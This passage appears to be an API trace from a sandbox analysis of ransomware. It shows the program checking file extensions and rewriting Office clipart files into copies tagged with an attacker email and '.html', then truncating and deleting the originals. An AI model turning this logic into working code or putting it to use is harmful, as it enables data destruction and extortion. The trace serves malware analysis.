	[0193.324] lstrlenW (lpString=".xls") returned 4
	[0193.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.324] lstrlenW (lpString=".xlsx") returned 5
	[0193.324] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0193.324] lstrlenW (lpString=".ppt") returned 4
	[0193.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.325] lstrlenW (lpString=".zip") returned 4
	[0193.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.325] lstrlenW (lpString=".rar") returned 4
	[0193.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.325] lstrlenW (lpString=".bz2") returned 4
	[0193.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.325] lstrlenW (lpString=".7z") returned 3
	[0193.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.325] lstrlenW (lpString=".dbf") returned 4
	[0193.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.325] lstrlenW (lpString=".1cd") returned 4
	[0193.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68
	[0193.325] lstrlenW (lpString=".jpg") returned 4
	[0193.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.325] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.325] lstrlenW (lpString="J0105496.WMF") returned 12
	[0193.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.326] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5156) returned 1
	[0193.326] CloseHandle (hObject=0x5c8) returned 1
	[0193.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220
	[0193.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.327] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.327] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0193.328] GetLastError () returned 0x0
	[0193.328] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1424, lpOverlapped=0x0) returned 1
	[0193.330] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1430, lpOverlapped=0x0) returned 1
	[0193.481] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.481] WriteFile (in: hFile=0x478, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.481] SetEndOfFile (hFile=0x478) returned 1
	[0193.588] CloseHandle (hObject=0x478) returned 1
	[0193.588] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.599] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.612] CloseHandle (hObject=0x5c8) returned 1
	[0193.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1
	[0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.615] lstrlenW (lpString=".doc") returned 4
	[0193.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString=".docx") returned 5
	[0193.615] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.615] lstrlenW (lpString=".pdf") returned 4
	[0193.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString=".xls") returned 4
	[0193.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.615] lstrlenW (lpString=".xlsx") returned 5
	[0193.615] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.615] lstrlenW (lpString=".ppt") returned 4
	[0193.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.615] lstrlenW (lpString=".zip") returned 4
	[0193.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.615] lstrlenW (lpString=".rar") returned 4
	[0193.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString=".bz2") returned 4
	[0193.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString=".7z") returned 3
	[0193.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.615] lstrlenW (lpString=".dbf") returned 4
	[0193.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.616] lstrlenW (lpString=".1cd") returned 4
	[0193.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.616] lstrlenW (lpString=".jpg") returned 4
	[0193.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.616] lstrlenW (lpString=".doc") returned 4
	[0193.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString=".docx") returned 5
	[0193.616] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.616] lstrlenW (lpString=".pdf") returned 4
	[0193.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString=".xls") returned 4
	[0193.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.616] lstrlenW (lpString=".xlsx") returned 5
	[0193.616] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.616] lstrlenW (lpString=".ppt") returned 4
	[0193.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.616] lstrlenW (lpString=".zip") returned 4
	[0193.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.616] lstrlenW (lpString=".rar") returned 4
	[0193.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.616] lstrlenW (lpString=".bz2") returned 4
	[0193.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.617] lstrlenW (lpString=".7z") returned 3
	[0193.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.617] lstrlenW (lpString=".dbf") returned 4
	[0193.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.617] lstrlenW (lpString=".1cd") returned 4
	[0193.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68
	[0193.617] lstrlenW (lpString=".jpg") returned 4
	[0193.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.617] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.617] lstrlenW (lpString="J0105588.WMF") returned 12
	[0193.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.619] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=21548) returned 1
	[0193.619] CloseHandle (hObject=0x5c8) returned 1
	[0193.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 0x220
	[0193.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.619] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.619] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.620] GetLastError () returned 0x0
	[0193.620] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x542c, lpOverlapped=0x0) returned 1
	[0193.623] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0193.625] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.625] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.625] SetEndOfFile (hFile=0x590) returned 1
	[0193.625] CloseHandle (hObject=0x590) returned 1
	[0193.625] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.625] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.629] CloseHandle (hObject=0x5c8) returned 1
	[0193.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105588.wmf")) returned 1
	[0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.631] lstrlenW (lpString=".doc") returned 4
	[0193.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.631] lstrlenW (lpString=".docx") returned 5
	[0193.631] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.631] lstrlenW (lpString=".pdf") returned 4
	[0193.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.631] lstrlenW (lpString=".xls") returned 4
	[0193.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.631] lstrlenW (lpString=".xlsx") returned 5
	[0193.631] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.631] lstrlenW (lpString=".ppt") returned 4
	[0193.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.631] lstrlenW (lpString=".zip") returned 4
	[0193.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.631] lstrlenW (lpString=".rar") returned 4
	[0193.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.631] lstrlenW (lpString=".bz2") returned 4
	[0193.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.631] lstrlenW (lpString=".7z") returned 3
	[0193.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.631] lstrlenW (lpString=".dbf") returned 4
	[0193.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.632] lstrlenW (lpString=".1cd") returned 4
	[0193.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.632] lstrlenW (lpString=".jpg") returned 4
	[0193.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.632] lstrlenW (lpString=".doc") returned 4
	[0193.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString=".docx") returned 5
	[0193.632] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.632] lstrlenW (lpString=".pdf") returned 4
	[0193.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString=".xls") returned 4
	[0193.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.632] lstrlenW (lpString=".xlsx") returned 5
	[0193.632] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.632] lstrlenW (lpString=".ppt") returned 4
	[0193.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.632] lstrlenW (lpString=".zip") returned 4
	[0193.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.632] lstrlenW (lpString=".rar") returned 4
	[0193.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.632] lstrlenW (lpString=".bz2") returned 4
	[0193.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.633] lstrlenW (lpString=".7z") returned 3
	[0193.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.633] lstrlenW (lpString=".dbf") returned 4
	[0193.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.633] lstrlenW (lpString=".1cd") returned 4
	[0193.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0193.633] lstrlenW (lpString=".jpg") returned 4
	[0193.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.633] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.633] lstrlenW (lpString="J0105600.WMF") returned 12
	[0193.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.634] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8680) returned 1
	[0193.635] CloseHandle (hObject=0x5c8) returned 1
	[0193.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220
	[0193.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0193.635] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.635] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.636] GetLastError () returned 0x0
	[0193.636] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x21e8, lpOverlapped=0x0) returned 1
	[0193.638] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x21f0, lpOverlapped=0x0) returned 1
	[0193.640] ReadFile (in: hFile=0x5c8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.640] WriteFile (in: hFile=0x590, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.640] SetEndOfFile (hFile=0x590) returned 1
	[0193.640] CloseHandle (hObject=0x590) returned 1
	[0193.640] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.640] SetEndOfFile (hFile=0x5c8) returned 1
	[0193.644] CloseHandle (hObject=0x5c8) returned 1
	[0193.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1
	[0194.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.637] lstrlenW (lpString=".doc") returned 4
	[0194.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString=".docx") returned 5
	[0194.637] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.637] lstrlenW (lpString=".pdf") returned 4
	[0194.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString=".xls") returned 4
	[0194.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.637] lstrlenW (lpString=".xlsx") returned 5
	[0194.637] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.637] lstrlenW (lpString=".ppt") returned 4
	[0194.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.637] lstrlenW (lpString=".zip") returned 4
	[0194.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.637] lstrlenW (lpString=".rar") returned 4
	[0194.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString=".bz2") returned 4
	[0194.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString=".7z") returned 3
	[0194.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.637] lstrlenW (lpString=".dbf") returned 4
	[0194.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.638] lstrlenW (lpString=".1cd") returned 4
	[0194.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.638] lstrlenW (lpString=".jpg") returned 4
	[0194.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.638] lstrlenW (lpString=".doc") returned 4
	[0194.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString=".docx") returned 5
	[0194.638] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.638] lstrlenW (lpString=".pdf") returned 4
	[0194.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString=".xls") returned 4
	[0194.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
